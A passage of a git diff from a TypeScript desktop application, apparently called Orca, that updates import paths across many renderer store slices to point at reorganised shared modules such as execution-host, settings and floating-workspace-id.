'../../../../../../shared/browser/browser-display-title' import { redactKagiSessionToken } from '../../../../../../shared/browser/navigation/browser-url' diff --git a/src/renderer/src/store/slices/browser/pages/browser-page-state-actions.ts b/src/renderer/src/store/slices/browser/pages/browser-page-state-actions.ts index 79718fc4db3..db820bb5806 100644 --- a/src/renderer/src/store/slices/browser/pages/browser-page-state-actions.ts +++ b/src/renderer/src/store/slices/browser/pages/browser-page-state-actions.ts @@ -5,7 +5,7 @@ import { preserveBrowserPageLoadingOwner, revokeBrowserPageLoadingOwner } from '@/lib/browser/browser-page-loading-ownership' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import { browserWorkspaceMirrorFieldsEqual, diff --git a/src/renderer/src/store/slices/browser/profiles/browser-managed-profile-actions.ts b/src/renderer/src/store/slices/browser/profiles/browser-managed-profile-actions.ts index 93f569665cd..6a858da2bde 100644 --- a/src/renderer/src/store/slices/browser/profiles/browser-managed-profile-actions.ts +++ b/src/renderer/src/store/slices/browser/profiles/browser-managed-profile-actions.ts @@ -1,7 +1,7 @@ import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/identifiers/non-secure-context-uuid' import type { BrowserSlice, BrowserSliceGet, BrowserSliceSet } from '../browser-slice-contract' import type { BrowserSessionProfile } from '../../../../../../shared/browser/workspaces/browser-workspace-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { isManagedBrowserProfileOf, managedBrowserProfileOwnerKey, diff --git a/src/renderer/src/store/slices/browser/profiles/browser-new-tab-profile.ts b/src/renderer/src/store/slices/browser/profiles/browser-new-tab-profile.ts index 5e9d7b06463..93436a738af 100644 --- a/src/renderer/src/store/slices/browser/profiles/browser-new-tab-profile.ts +++ b/src/renderer/src/store/slices/browser/profiles/browser-new-tab-profile.ts @@ -16,7 +16,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getManagedBrowserProfileOwner, type ManagedBrowserProfileOwner diff --git a/src/renderer/src/store/slices/browser/profiles/browser-profile-guest-reconciliation.ts b/src/renderer/src/store/slices/browser/profiles/browser-profile-guest-reconciliation.ts index 1a01dfb95e7..f56da889464 100644 --- a/src/renderer/src/store/slices/browser/profiles/browser-profile-guest-reconciliation.ts +++ b/src/renderer/src/store/slices/browser/profiles/browser-profile-guest-reconciliation.ts @@ -1,6 +1,6 @@ import type { BrowserSliceGet } from '../browser-slice-contract' import { findWorkspace } from '../pages/browser-page-records' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import { resolveSshWorkspaceBrowserRouteEligibility } from '@/lib/browser/workspace/ssh-workspace-browser-route-eligibility' import { resolveBrowserPagePartition } from '@/components/browser-pane/host-guest/browser-page-partition' diff --git a/src/renderer/src/store/slices/browser/profiles/browser-profile-list-actions.ts b/src/renderer/src/store/slices/browser/profiles/browser-profile-list-actions.ts index d58ba3954c9..772c2205397 100644 --- a/src/renderer/src/store/slices/browser/profiles/browser-profile-list-actions.ts +++ b/src/renderer/src/store/slices/browser/profiles/browser-profile-list-actions.ts @@ -6,7 +6,10 @@ import type { BrowserProfileDeleteResult, BrowserProfileListResult } from '../../../../../../shared/browser/runtime/runtime-browser-contracts' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { getBrowserProfilesForHost, diff --git a/src/renderer/src/store/slices/browser/tabs/browser-tab-open-view.ts b/src/renderer/src/store/slices/browser/tabs/browser-tab-open-view.ts index b5ecdd1302e..d747345377d 100644 --- a/src/renderer/src/store/slices/browser/tabs/browser-tab-open-view.ts +++ b/src/renderer/src/store/slices/browser/tabs/browser-tab-open-view.ts @@ -3,7 +3,7 @@ import type { BrowserPage, BrowserWorkspace } from '../../../../../../shared/browser/workspaces/browser-workspace-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import type { AppState } from '../../../types' import { ownsGlobalSelection } from '../../../workspaces/selection/global-selection-owner' diff --git a/src/renderer/src/store/slices/diff-comments/diff-comment-owner.ts b/src/renderer/src/store/slices/diff-comments/diff-comment-owner.ts index 9ea9cd55974..5fb3087e4da 100644 --- a/src/renderer/src/store/slices/diff-comments/diff-comment-owner.ts +++ b/src/renderer/src/store/slices/diff-comments/diff-comment-owner.ts @@ -1,5 +1,5 @@ import type { DiffComment } from '../../../../../shared/file-review/diff-comment-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { authorityKey, type HostAuthority diff --git a/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts b/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts index c98ad7a3d27..701191faa07 100644 --- a/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts +++ b/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts @@ -9,7 +9,7 @@ import { toast } from 'sonner' import type { DiffComment } from '../../../../../shared/file-review/diff-comment-types' import type { Repo } from '../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../shared/worktree/types' -import '../../../../../shared/execution-host' +import '../../../../../shared/execution-host/execution-host' import { createTestStore } from '../../testing/app-store-test-fixture' vi.mock('../../../runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => ({ diff --git a/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts b/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts index 6b0cd9112c8..0f750a52a81 100644 --- a/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts +++ b/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts @@ -3,7 +3,7 @@ import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/work import { resolveEditorModelOwner } from '@/components/editor/model-lifetime/identity/editor-model-owner' import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome' import { resolveContinuedRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { isCaseInsensitiveRuntimeRoot, normalizeRuntimePathSeparators diff --git a/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts b/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts index f2b7928ce3a..1df15781c5f 100644 --- a/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts +++ b/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { checkRunDetailsOwnerScope } from '../../../../../../shared/source-control/checks/check-run-details-owner-scope' import { getOpenFileExecutionHostId, diff --git a/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts b/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts index 409d154a8a8..c21a74a017e 100644 --- a/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts +++ b/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts @@ -2,11 +2,11 @@ import type { AppState } from '../../../types' import type { EditorSlice } from '../types/editor-slice' import type { EditorOpenTargetOptions, OpenFile } from '../types/open-file' import type { DiffSource } from '../../../../../../shared/editor/views/editor-tab-view-types' -import { toSshExecutionHostId } from '../../../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { areLocalWindowsWslPathAliases } from '../../../../../../shared/file-access/cross-platform-path' import { getConnectionIdForFileFromState } from '@/lib/workspace/ownership/connection-owner-resolution' import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/workspace-layout/layout-owner-switch' export function runtimeOwnerKey(runtimeEnvironmentId: string | null | undefined): string | null { diff --git a/src/renderer/src/store/slices/editor/file-ids/hydrated-editor-file-ids.ts b/src/renderer/src/store/slices/editor/file-ids/hydrated-editor-file-ids.ts index 7ddc0c10533..56c9ac872c6 100644 --- a/src/renderer/src/store/slices/editor/file-ids/hydrated-editor-file-ids.ts +++ b/src/renderer/src/store/slices/editor/file-ids/hydrated-editor-file-ids.ts @@ -1,7 +1,7 @@ import type { AppState } from '../../../types' import type { Tab, TabGroup } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' import type { PersistedOpenFile } from '../../../../../../shared/workspace-session/workspace-session-state-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import type { OpenFile } from '../types/open-file' import { isEditorTabContentType } from '../tabs/editor-tab-content-type' import { buildOwnedEditorFileId, runtimeOwnerKey } from './editor-file-ids' diff --git a/src/renderer/src/store/slices/editor/git/git-operation-target.ts b/src/renderer/src/store/slices/editor/git/git-operation-target.ts index bfc187064c7..73dbd726611 100644 --- a/src/renderer/src/store/slices/editor/git/git-operation-target.ts +++ b/src/renderer/src/store/slices/editor/git/git-operation-target.ts @@ -1,5 +1,5 @@ import { toast } from 'sonner' -import { getConnectionExecutionHostId } from '../../../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getRuntimeTargetHostId } from '@/runtime/rpc/targets/runtime-client-target' import type { AppState } from '../../../types' import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner' diff --git a/src/renderer/src/store/slices/editor/hydration/hydrate-editor-session.ts b/src/renderer/src/store/slices/editor/hydration/hydrate-editor-session.ts index 7e075d3ccc5..7a01a7634d2 100644 --- a/src/renderer/src/store/slices/editor/hydration/hydrate-editor-session.ts +++ b/src/renderer/src/store/slices/editor/hydration/hydrate-editor-session.ts @@ -1,7 +1,7 @@ import type { EditorGet, EditorSet } from '../types/editor-set-get' import type { EditorSlice } from '../types/editor-slice' import { addAdditionalValidWorkspaceKeys } from '@/lib/workspace/persistence/workspace-session-hydration-keys' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { buildValidWorktreeIdsForSessionHydration } from '../../../../../../shared/worktree/catalog/degraded-repo-worktree-validity' import { migrateHydratedEditorTabsAndGroups } from '../file-ids/hydrated-editor-file-ids' diff --git a/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-in-place.ts b/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-in-place.ts index 00b69d40dbe..98b8ee42521 100644 --- a/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-in-place.ts +++ b/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-in-place.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '../../../types' import { replaceRecordEntries, replaceTabBuckets } from '../../../keyed-record-transitions' diff --git a/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-transition.ts b/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-transition.ts index f778c5e9c1e..65c60ebb2b4 100644 --- a/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-transition.ts +++ b/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-transition.ts @@ -1,7 +1,7 @@ import type { ActiveWorktreeStateTransition } from '../../worktrees/session/worktree-selection-contract' import type { TabGroup } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' import type { AppState } from '../../../types' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/identifiers/non-secure-context-uuid' import { sanitizeRecentTabIds } from '../../tabs/tab-selection-history' import { diff --git a/src/renderer/src/store/slices/editor/markdown/markdown-default-view-mode-action.ts b/src/renderer/src/store/slices/editor/markdown/markdown-default-view-mode-action.ts index dc5e15fc4ea..0aaf5b1ded4 100644 --- a/src/renderer/src/store/slices/editor/markdown/markdown-default-view-mode-action.ts +++ b/src/renderer/src/store/slices/editor/markdown/markdown-default-view-mode-action.ts @@ -1,7 +1,7 @@ import { detectLanguage } from '../../../../../../shared/editor-language/editor-language-detect' import type { AppState } from '../../../types' import type { MarkdownViewMode } from '../types/open-file' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { normalizeMarkdownDefaultViewMode, type MarkdownDefaultViewMode diff --git a/src/renderer/src/store/slices/editor/opening/untitled-file-creation.ts b/src/renderer/src/store/slices/editor/opening/untitled-file-creation.ts index 50f38de8cfc..ba6fd0f7357 100644 --- a/src/renderer/src/store/slices/editor/opening/untitled-file-creation.ts +++ b/src/renderer/src/store/slices/editor/opening/untitled-file-creation.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { assertEditorFileOperationCurrent, captureEditorFileOperationProvenance diff --git a/src/renderer/src/store/slices/editor/tabs/editor-placement-consumers.test-fixture.ts b/src/renderer/src/store/slices/editor/tabs/editor-placement-consumers.test-fixture.ts index 094d9b15656..c99fe453d43 100644 --- a/src/renderer/src/store/slices/editor/tabs/editor-placement-consumers.test-fixture.ts +++ b/src/renderer/src/store/slices/editor/tabs/editor-placement-consumers.test-fixture.ts @@ -8,7 +8,7 @@ import { makeProjectGroup } from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-fixtures' import type { OpenFile } from '../types/open-file' -import { createGlobalSettingsFixture } from '../../../../../../shared/global-settings-test-fixture' +import { createGlobalSettingsFixture } from '../../../../../../shared/settings/global-settings-test-fixture' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/workspace-layout/layout-owner-switch' import { drawTabsFromMain } from '../../tabs/tabs-drawn-from-main.test-fixture' import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture' diff --git a/src/renderer/src/store/slices/editor/types/editor-files-slice.ts b/src/renderer/src/store/slices/editor/types/editor-files-slice.ts index d653c57fc00..935106d9ad2 100644 --- a/src/renderer/src/store/slices/editor/types/editor-files-slice.ts +++ b/src/renderer/src/store/slices/editor/types/editor-files-slice.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing' import type { CheckRunDetailsTabPatch } from '@/components/editor/check-details/actions/check-run-details-tab' import type { diff --git a/src/renderer/src/store/slices/editor/types/editor-open-link-intent.ts b/src/renderer/src/store/slices/editor/types/editor-open-link-intent.ts index 5a0e3ff45ae..b0b3e608ae4 100644 --- a/src/renderer/src/store/slices/editor/types/editor-open-link-intent.ts +++ b/src/renderer/src/store/slices/editor/types/editor-open-link-intent.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' /** A link's source, captured before async path resolution. */ export type EditorOpenLinkIntent = { diff --git a/src/renderer/src/store/slices/editor/types/open-file.ts b/src/renderer/src/store/slices/editor/types/open-file.ts index c07640c3a6a..7cace52f1f5 100644 --- a/src/renderer/src/store/slices/editor/types/open-file.ts +++ b/src/renderer/src/store/slices/editor/types/open-file.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { RecentlyClosedTabPosition } from '../../tabs/recently-closed-tab-position' import type { EditorFileOperationProvenance } from '@/lib/editor/file-operations/editor-file-operation-provenance' import type { diff --git a/src/renderer/src/store/slices/editor/types/restored-editor-owner.ts b/src/renderer/src/store/slices/editor/types/restored-editor-owner.ts index 922d47a8439..c8db860f322 100644 --- a/src/renderer/src/store/slices/editor/types/restored-editor-owner.ts +++ b/src/renderer/src/store/slices/editor/types/restored-editor-owner.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { EditorFileOperationProvenance } from '@/lib/editor/file-operations/editor-file-operation-provenance' export type RestoredEditorOwnerMigration = { diff --git a/src/renderer/src/store/slices/hosted-review/generation/pull-request-generation-state.ts b/src/renderer/src/store/slices/hosted-review/generation/pull-request-generation-state.ts index 4db7f05b845..25abf06e87e 100644 --- a/src/renderer/src/store/slices/hosted-review/generation/pull-request-generation-state.ts +++ b/src/renderer/src/store/slices/hosted-review/generation/pull-request-generation-state.ts @@ -1,5 +1,5 @@ import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type PullRequestFieldName = 'base' | 'title' | 'body' | 'draft' export type PullRequestFieldRevisions = Record diff --git a/src/renderer/src/store/slices/hosted-review/hosted-review-cache-identity.ts b/src/renderer/src/store/slices/hosted-review/hosted-review-cache-identity.ts index 0c1facad889..64c648c5435 100644 --- a/src/renderer/src/store/slices/hosted-review/hosted-review-cache-identity.ts +++ b/src/renderer/src/store/slices/hosted-review/hosted-review-cache-identity.ts @@ -1,10 +1,10 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { composeRepoCacheKey } from '../../../../../shared/github/cache/github-cache-key' import { getSettingsFocusedExecutionHostId, normalizeExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' export type LinkedReviewHints = { linkedGitHubPR?: number | null diff --git a/src/renderer/src/store/slices/hosted-review/hosted-review-cache-state.ts b/src/renderer/src/store/slices/hosted-review/hosted-review-cache-state.ts index 7f995b0da79..918fa358f44 100644 --- a/src/renderer/src/store/slices/hosted-review/hosted-review-cache-state.ts +++ b/src/renderer/src/store/slices/hosted-review/hosted-review-cache-state.ts @@ -12,7 +12,7 @@ import { import type { Repo } from '../../../../../shared/repository/repo-types' import type { PRInfo } from '../../../../../shared/github/pull-requests/pull-request-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-ownership.ts b/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-ownership.ts index a85dbef00f7..63a49a90c3f 100644 --- a/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-ownership.ts +++ b/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-ownership.ts @@ -3,7 +3,7 @@ import type { Worktree } from '../../../../../../shared/worktree/types' import type { GitHubPRRefreshCandidate } from '../../../../../../shared/github/pull-requests/refresh/pull-request-refresh-types' import { getHostedReviewCacheKey } from '../hosted-review-cache-identity' import { findIndexedRepoOwnerForHost } from '@/lib/workspace/ownership/repo-owner-index' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function shouldCoordinateVisibleGitHubReview( state: AppState, diff --git a/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets.ts b/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets.ts index 6fbd290f952..03501522405 100644 --- a/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets.ts +++ b/src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, getSettingsFocusedExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { reviewRefreshIntervalMs } from '../../../../../../shared/source-control/hosted-review/review-refresh-policy' import { buildPRRefreshCandidate, diff --git a/src/renderer/src/store/slices/jira/jira-read-coordination.ts b/src/renderer/src/store/slices/jira/jira-read-coordination.ts index 8531302ce1d..b670c3fa95a 100644 --- a/src/renderer/src/store/slices/jira/jira-read-coordination.ts +++ b/src/renderer/src/store/slices/jira/jira-read-coordination.ts @@ -1,5 +1,5 @@ import type { AppState } from '../../types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { CacheEntry } from '../../github/cache/cache-model' import type { JiraSlice, JiraSliceSet } from './jira-slice-contract' import type { diff --git a/src/renderer/src/store/slices/right-sidebar/right-sidebar-route.ts b/src/renderer/src/store/slices/right-sidebar/right-sidebar-route.ts index 8b91adaf2c2..8efcb867e58 100644 --- a/src/renderer/src/store/slices/right-sidebar/right-sidebar-route.ts +++ b/src/renderer/src/store/slices/right-sidebar/right-sidebar-route.ts @@ -1,7 +1,7 @@ import type { ActiveRightSidebarTab, RightSidebarExplorerView -} from '../../../../../shared/ui-chrome-types' +} from '../../../../../shared/ui-chrome/ui-chrome-types' import { isPluginPanelTabKey } from '../../../../../shared/plugins/frames/plugin-tab-key' export type RightSidebarRoute = { diff --git a/src/renderer/src/store/slices/right-sidebar/right-sidebar-state.ts b/src/renderer/src/store/slices/right-sidebar/right-sidebar-state.ts index 631289002c1..164256d98af 100644 --- a/src/renderer/src/store/slices/right-sidebar/right-sidebar-state.ts +++ b/src/renderer/src/store/slices/right-sidebar/right-sidebar-state.ts @@ -3,7 +3,7 @@ import type { ActiveRightSidebarTab, ActivityBarPosition, RightSidebarExplorerView -} from '../../../../../shared/ui-chrome-types' +} from '../../../../../shared/ui-chrome/ui-chrome-types' import { defaultFileSearchState } from '../editor/search/file-search-state' export type RightSidebarState = { diff --git a/src/renderer/src/store/slices/runtime-status/set-runtime-environments-purge-wiring.test.ts b/src/renderer/src/store/slices/runtime-status/set-runtime-environments-purge-wiring.test.ts index 2a52c012666..abaee090b92 100644 --- a/src/renderer/src/store/slices/runtime-status/set-runtime-environments-purge-wiring.test.ts +++ b/src/renderer/src/store/slices/runtime-status/set-runtime-environments-purge-wiring.test.ts @@ -1,6 +1,6 @@ /** Exercise optional-chained purge wiring (#8881): pure reducer tests cannot catch a missing/renamed call. */ import { describe, it, expect, vi } from 'vitest' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments' diff --git a/src/renderer/src/store/slices/settings/create-settings-slice.ts b/src/renderer/src/store/slices/settings/create-settings-slice.ts index 8833d512248..140c12cb418 100644 --- a/src/renderer/src/store/slices/settings/create-settings-slice.ts +++ b/src/renderer/src/store/slices/settings/create-settings-slice.ts @@ -1,7 +1,7 @@ import { normalizeNativeChatAppearanceSettings } from '../../../../../shared/native-chat/native-chat-appearance-settings' import type { StateCreator } from 'zustand' import type { AppState } from '../../types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { toast } from 'sonner' import { clearRuntimeCompatibilityCache, @@ -33,7 +33,7 @@ import { } from './worktree-visibility-owner-settings' import * as ownerHydration from './settings-owner-hydration-publication' import { persistVisibilityAwareSettings } from './worktree-visibility-settings-write' -import { getSettingsFocusedExecutionHostId } from '../../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../shared/identifiers/non-secure-context-uuid' export type SettingsSlice = SettingsSearchState & { diff --git a/src/renderer/src/store/slices/settings/settings-owner-hydration-publication.ts b/src/renderer/src/store/slices/settings/settings-owner-hydration-publication.ts index baf308678a0..0ef71ae15fa 100644 --- a/src/renderer/src/store/slices/settings/settings-owner-hydration-publication.ts +++ b/src/renderer/src/store/slices/settings/settings-owner-hydration-publication.ts @@ -1,7 +1,7 @@ import type { StateCreator } from 'zustand' import type { AppState } from '../../types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { hydrateOwnerWorktreeVisibilityDefaults } from './worktree-visibility-owner-settings' export type SettingsStateSetter = Parameters>[0] diff --git a/src/renderer/src/store/slices/settings/worktree-visibility-owner-settings.ts b/src/renderer/src/store/slices/settings/worktree-visibility-owner-settings.ts index e0851d84c6d..6d4c6658344 100644 --- a/src/renderer/src/store/slices/settings/worktree-visibility-owner-settings.ts +++ b/src/renderer/src/store/slices/settings/worktree-visibility-owner-settings.ts @@ -5,8 +5,8 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +} from '../../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { WorktreeVisibilityDefaults } from '../../../../../shared/repository/repo-types' import { normalizeWorktreeVisibilityDefaults } from '../../../../../shared/worktree/visibility/external-worktree-visibility' import { WORKTREE_VISIBILITY_SOURCE_DEFAULTS_RUNTIME_CAPABILITY } from '../../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' diff --git a/src/renderer/src/store/slices/settings/worktree-visibility-settings-write.ts b/src/renderer/src/store/slices/settings/worktree-visibility-settings-write.ts index 09e0e46beab..6af7eca4cdd 100644 --- a/src/renderer/src/store/slices/settings/worktree-visibility-settings-write.ts +++ b/src/renderer/src/store/slices/settings/worktree-visibility-settings-write.ts @@ -3,8 +3,8 @@ import { defaultScopeHost } from '@/runtime/hosts/selection/default-creation-hos import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +} from '../../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { AppState } from '../../types' export async function persistVisibilityAwareSettings(args: { diff --git a/src/renderer/src/store/slices/tabs/content-tab-open-placement.ts b/src/renderer/src/store/slices/tabs/content-tab-open-placement.ts index 6bbec5f97af..06da5c8c08f 100644 --- a/src/renderer/src/store/slices/tabs/content-tab-open-placement.ts +++ b/src/renderer/src/store/slices/tabs/content-tab-open-placement.ts @@ -1,7 +1,7 @@ // Resolve placement like create: requested live group, anchor, active, then first/root; side opens carry their split, including window-only empty groups. import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../shared/identifiers/non-secure-context-uuid' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { folderWorkspaceToWorktree } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' import type { NewGroupSplit } from '../../../../../shared/workspace-layout/workspace-layout-command-types' import type { AppState } from '../../types' diff --git a/src/renderer/src/store/slices/tabs/split-landing-groups.ts b/src/renderer/src/store/slices/tabs/split-landing-groups.ts index e1998e9f530..7ecc483170e 100644 --- a/src/renderer/src/store/slices/tabs/split-landing-groups.ts +++ b/src/renderer/src/store/slices/tabs/split-landing-groups.ts @@ -1,7 +1,7 @@ import type { StoreApi } from 'zustand' import type { AppState } from '../../types' import type { TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' type SplitLandingMarks = Pick type SplitLandingState = SplitLandingMarks & Pick diff --git a/src/renderer/src/store/slices/tabs/tabs-close-actions.ts b/src/renderer/src/store/slices/tabs/tabs-close-actions.ts index 4b58854d8cc..dcaeabb6ada 100644 --- a/src/renderer/src/store/slices/tabs/tabs-close-actions.ts +++ 